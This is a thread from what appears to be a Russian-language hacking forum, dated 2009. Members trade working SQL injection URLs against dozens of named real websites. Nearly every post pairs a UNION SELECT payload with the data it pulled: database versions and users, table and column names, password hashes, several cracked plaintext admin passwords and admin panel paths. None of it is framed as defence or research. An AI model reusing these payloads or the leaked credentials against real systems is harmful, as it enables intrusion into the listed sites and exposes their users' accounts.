1. Пост двух одинаковых тем в разных разделах - бан.
    Скрыть объявление
  2. Появилась архивная версия форума arhiv.xaker.name, где собраны темы с 2007 по 2012 год.
    Скрыть объявление

SQL-инъекции

Тема в разделе "Поиск уязвимостей", создана пользователем Constantine, 8 май 2007.

  1. NetSky
    NetSky адепт Модератор
    Симпатии:
    84
    Офф. сайт небольшого движка, инъект в модуле портфолио... Пути к базе не выявил, на портах тоже пусто вроде... Если кому интересно...
    Hidden Content:
    **Hidden Content: To see this hidden content your post count must be 1 or greater.**
    Код:
    root:*42419F5EC4B05CB763FA619A1E5191EBBB202760		
    root:		
    root:349b3d3d09f5981b
    postfix:3ecf3e4f55dd846f
    Таблы(+колонки):
    Код:
    users_tbl
    ///
    user_id,login_fld,pass_fld,obj_id,email_fld,block_fld,date_fld
    ///	
    	
    ib_active_sessions		
    ib_member_profiles
    
    users	
    ///
    email,passwd,uidgid,maildir,enabled,quota,home
    ///
    
    user_tbl		
    ///
    user_id,login_fld,pass_fld,obj_id,email_fld,block_fld,date_fld,extperm_fld
    ///
    
    site_tbl
    user

    Префиксы( - таблы):
    Код:
    4site_db		
    atom_db		
    continent_com_db
    
    continent_ru_db		
    cupp_db		
    dummy_db - users_tbl
    
    febatrans_db		
    fenix_db		
    funkyjazz_db
    
    ib_modperl_db		
    interlot_db - users_tbl
    kottegi_db
    
    lapeyre_db		
    mail		
    method_db
    
    mnogosearch		
    modperl_db		
    modulo_db
    
    mosreactiv_db		
    multisite - user_tbl	
    mysql
    
    niagarra_db		
    northsouth_db		
    pirsconsult_db
    
    proseliger_db		
    raabgruppe_db		
    submoscow_db
    
    tret_ib3_db		
    tretiakov_db - users_tbl
     
    10 фев 2009
    2 пользователям это понравилось.
  2. onthar
    onthar Команда форума
    Симпатии:
    311
    Код:
    http://www.empoweredproducts.com/product_one.php?id=-5+union+select+1,2,3,concat(version(),0x3a,database(),0x3a,user())/*
    5.0.45:gunoil_db:[email protected]
    Код:
    chris:sch263
    admin:minefield
    liz:498power
    Админку не нашел.
    _________________

    Код:
    http://zoorinok.com.ua/art.php?id=-26+union+select+1,version(),3,4/*
    5.0.45-log
     
    11 фев 2009
  3. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Код:
    http://www.econ-society.org/index.php?value=training_details&trainingid=-999+union+select+1,2,concat(username,0x3b,password,0x3b,@@version_compile_os,0x3b,@@basedir,0x3b,@@tmpdir),4,5,6,7,8,9,10,11+from+jos_users+limit+0,1--
    Cкуль+пхп инжект, сервер на линуксе, только вот хеш - жесть
     
    16 фев 2009
    1 человеку нравится это.
  4. b3
    b3 Продвинутый
    Симпатии:
    15
    Делать было нечего:
    Код:
    landhaus.com.ua/news.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11
    5.0.45-log
    =
    www.shoptraffic.com.ua/news.php?id=-3+UNION+SELECT+1,2,3,4,5,6
    4.1.22-standard (магазин)
    =
    www.jean-jack.com.ua/news.php?id=-3+UNION+SELECT+1,2,3
    5.0.44-log
    =
    ceramica.com.ua/news.php?id=-3+UNION+SELECT+1,2,3,4
    5.0.41-community-log
    =
    www.sana-med.com.ua/news.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7,8
    5.1.22-rc-log
    9fed66b17b90086737f7718f83f2c6dd:admin (pass='a825kgg2')
    fd0b92d4c80b798d554a50080e826e00:Администратор
    =
    fit-terminal.com.ua/news.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11
    5.0.45-log
    редирект на Индекс, только через сканеры скуль.
    =
    salve.com.ua/news.php?id=-3+UNION+SELECT+1,2,3,4,5
    http://salve.com.ua/news.php?id=-3+UNION+SELECT+1,2,concat(user,0x3a,pass),4,5+from+user
    valera:4fd7b3202a2b2997e6ab124ec039422e
    5.0.51a
    =
    panbud.com.ua/news.php?id=-3+UNION+SELECT+1,2,3
    5.0.45-log
    =
    crimea.activelife.com.ua/news.php?id=-3+UNION+SELECT+1,2,3,4
    4.1.22
    =
    www.unimed.com.ua/a-news/news.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7,8,9
    4.1.22-log
    3й сайт в Гугле
    =
    www.foros.com.ua/news.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7
    5.0.67-community-log
    Первый по гуглу
    =
    
    www.cipa.org.ua/ukr/news/news.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7
    4.1.22
    =
    kievrealtor.org.ua/news.php?id=-3+UNION+SELECT+1,2,3,4
    4.1.22-standard
    http://kievrealtor.org.ua/news.php?id=-3+UNION+SELECT+1,concat(username,0x3a,pass),3,4+from+user+limit+0,1
    vitalik:96656904e7aa6bf36b726ad9b93f13c6a81636ed
    
    
    Вот с правами даже надыбал)
    Код:
    zno-kharkiv.org.ua/news.php?id=-3+UNION+SELECT+1,2
    http://zno-kharkiv.org.ua/news.php?id=-3+UNION+SELECT+1,file_priv+from+mysql.user
    file_priv=Y
    user()
    [email protected]
    http://zno-kharkiv.org.ua/news.php?id=-3+UNION+SELECT+1,file_priv+from+mysql.user+where+user='siteuser'
    file_priv=Y
    
     
    18 фев 2009
    1 человеку нравится это.
  5. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Код:
    http://www.cfvanier.com/services.php?l=en&id=smenu9&sid=6+and+0+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13--
     
    Последнее редактирование: 8 апр 2009
    7 мар 2009
    1 человеку нравится это.
  6. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    Код:
    http://agria.hu/sections.php3?op=viewarticle&artid=9999+union+select+1,2,3,4,version()
    version() [4.1.11-Debian_4sarge8-log]
    database() [nuke]
    user() [[email protected]]

    Код:
    http://archives.stael.org/2/sections.php3?op=viewarticle&artid=9999+union+select+1,2,3,4,version()
    version() [5.0.45-Debian_1ubuntu3.3-log]
    database() [staelorg]
    user() [[email protected]]

    Код:
    http://www.atlantyd.com/sections.php3?op=viewarticle&artid=9999+union+select+1,2,version(),4,5
    version() [4.0.21-log]
    database() [atlantyd_com]
    user() [[email protected]]
     
    7 мар 2009
    1 человеку нравится это.
  7. faza02
    faza02 Никто Новичок
    Симпатии:
    58
    hibiny.ru

    Код:
    http://www.hibiny.ru/tourism/cam.php?id=-2%20union%20select%20version()/*
    version(): 5.0.45
    user(): [email protected]
     
    7 мар 2009
    1 человеку нравится это.
  8. faza02
    faza02 Никто Новичок
    Симпатии:
    58
    Код:
    http://www.lasvegasphilharmonic.com/about/bio.php?ID=-35'+union+select+1,2,3,4,5/*&type=M
    5.0.27

    Код:
    http://www.nlr.net/about/bio.php?id=-7+union+select+1,2,3,4,5,6,7,8/*
    5.0.45-log

    Код:
    http://www.mymissouri32.com/people/bio.php?id=-5+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*
    5.0.45

    Код:
    http://www.youngstartup.com/corporate09/bio.php?id=-1068+union+select+1,2,3,3/*
    4.0.20-standard

    Код:
    http://www.dunyakan.com/bio.php?id=-2+union+select+1,2/*&lang=en
    4.1.21-standard-log

    Код:
    http://www.kmiz.com/people/bio.php?id=-51+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,database(),16/
    *
    5.0.45

    Добавлено через 18 часов 34 минуты
     
    Последнее редактирование: 9 мар 2009
    8 мар 2009
  9. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    Код:
    _http://iitc2009.com/content.php?id=-32+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5--
    version() [5.0.51a-community]
    database() [iitc09up_teadb]
    user() [[email protected]]
     
    10 мар 2009
  10. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Код:
    http://www.letsdoitgalway.com/letsdoit.php?id=999+union+select+1,concat(database(),0x3b,user(),0x3b,version()),3,4,5,6,7,8/*
     
    11 мар 2009
  11. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    PR 3
    Код:
    _http://www.1faithfm.com/player.php?id=-9+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11/*
    version() [4.1.22-standard]
    database() [onefaith_1faith]
    user() [[email protected]]

    PR 4
    Код:
    _http://www.armwrestlingtv.com/player.php?id=-1665+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*
    version() [4.1.22-standard]
    database() [armwrest_flvplayer]
    user() [[email protected]]

    PR 5
    Код:
    _http://bia2.com/video/player.php?id=-37+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26/*
    version() [4.1.22-standard]
    database() [soltan_video]
    user() [[email protected]]

    PR 5
    Код:
    _http://www.bigrsandbox.com/player.php?id=-48+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8/*
    version() [4.1.22-standard]
    database() [bigrsand_bradio]
    user() [[email protected]]


    PR 5
    Код:
    _http://www.hiphopgame.com/player.php?id=-1079+union+select+1,concat_ws(0x3a,version(),database(),user()),3/*
    version() [4.0.24-standard]
    database() [hhg_com]
    user() [[email protected]]
     
    11 мар 2009
    1 человеку нравится это.
  12. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    мож кому понадобится...
    Код:
    http://zoorinok.com.ua/art.php?id=-26+union+select+1,concat(username,0x3b,user_password),3,4+from+phpbb_users+limit+1,1/*
    admin:828bb32404c2904fb5bb6d2f88985a4a:ointera
     
    11 мар 2009
  13. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Код:
    http://www.macnas.com/news.php?id=-99+union+select+1,version(),3,4,5,6,7/*
     
    13 мар 2009
  14. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    [PR 4]

    Код:
    _http://bulgarianbasket.com/bg/player.php?id=-7069+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),database(),user()),9,10,11,12,13,14-- 
    version() [4.0.24_Debian-9]
    database() [DB10614]
    user() [[email protected]]
     
    13 мар 2009
  15. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Код:
    http://www.breastaugmentation.com
    /doctorslisting.php?ID=1+and+0+union+select+version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--
    4.1.25-Debian_mt1-log
     
    13 мар 2009
  16. faza02
    faza02 Никто Новичок
    Симпатии:
    58
    Код:
    http://www.md-tuning.de/Felge-ALU-Winter-Dotz-Imola-Focus-I-Typ-DAW-DBW-DNW.php?Rubrik=Reifen&ID=-21095+union+select+1,2,version(),4,5,6,7,8,9,10,11,12&tuning=tuning
    4.0.24
     
    15 мар 2009
    1 человеку нравится это.
  17. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    [PR 2]
    Код:
    http://www.planetepsg.com/?page=news&id=-11677+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13,14,15,16--
    version() [5.0.44]
    database() [star2]
    user() [[email protected]]

    [PR 4]
    Код:
    http://holding-roads.com/?p=projects&id=-4+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9--
    version() [5.0.51a-log]
    database() [roadsbg]
    user() [[email protected]]

    Table cnt_members:
    Код:
    http://holding-roads.com/?p=projects&id=-4+union+select+1,2,concat_ws(0x3a,members_username,members_pass,members_email),4,5,6,7,8,9+from+cnt_members+limit+0,1-- 
    Table cnt_users:
    Код:
    http://holding-roads.com/?p=projects&id=-4+union+select+1,2,concat_ws(0x3a,user_name,user_pass),4,5,6,7,8,9+from+cnt_users+limit+0,1-- 
    [PR 5]
    Код:
    http://www.newlb.ru/inner.php?target=news&id=-262+union+select+1,2,3,unhex(hex(version())),5,6,7,8,9,10,11,12-- 
    version() [4.1.14]

    [PR 5]
    54 поля 0_о
    Код:
    http://www.mindan.org/search_view.php?mode=news&id=-3146+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54-- 
    version() [5.0.45]
    database() [minda1]
    user() [[email protected]]
     
    16 мар 2009
  18. faza02
    faza02 Никто Новичок
    Симпатии:
    58
    Код:
    http://www.olek.dzidzius.net/dni.php?id=1+union+select+1,version()
    5.0.41-community-log

    Код:
    http://www.pilulapop.com.br/dna.php?id=-50+union+select+1,2,version(),4,5,6,7,8,9,10
    5.0.67-log

    Код:
    https://www.vineyardcincinnati.com/vcc.php?id=-1197+union+select+version(),2,3,4,5,6,7,8,9,10,11,12,13,14/*
    4.0.27-standard
     
    16 мар 2009
  19. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    [PR 4]
    Код:
    http://expressorder.ru/forum/message.php?id=-91+union+select+1,2,3,4,5,6,unhex(hex(version())),8,9-- 
    version() [4.1.15]


    [PR 7]
    Код:
    http://www.glaad.org/media/resource_kit_detail.php?id=-3495+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- 
    version() [4.0.12-standard]
     
    16 мар 2009
  20. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Код:
    http://www.origin-gi.com/friend.php?sid=-125+union+select+1,concat(us_login,0x3a,us_passwd),3,4,5,6,7,8,9,10,11,12+from+userlogin+limit+0,1--
    didwedo:2d87cec06da02cce:11neo37
    admin:3a4a2709750dfd63
    Как ни странно к админке сбрученый мною пасс не подходит... мб кто второй хеш расшифрует...
    _http://www.origin-gi.com/login-account.php - вход пользователей
    _http://www.origin-gi.com/admin/ -админка
    Код:
    http://www.origin-gi.com/friend.php?sid=-125+union+select+1,concat(us_login,0x3a,us_passwd),3,4,5,6,7,8,9,10,11,12+from+memberlogin+limit+0,1--
    тут все пользователи... алгоритм хеша не знаю...

    Добавлено через 1 час 53 минуты
    Код:
    http://www.yahha.com/article.php?sid=-9999+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13--
    5.0.67-community
     
    Последнее редактирование: 17 мар 2009
    17 мар 2009

Поделиться этой страницей

Загрузка...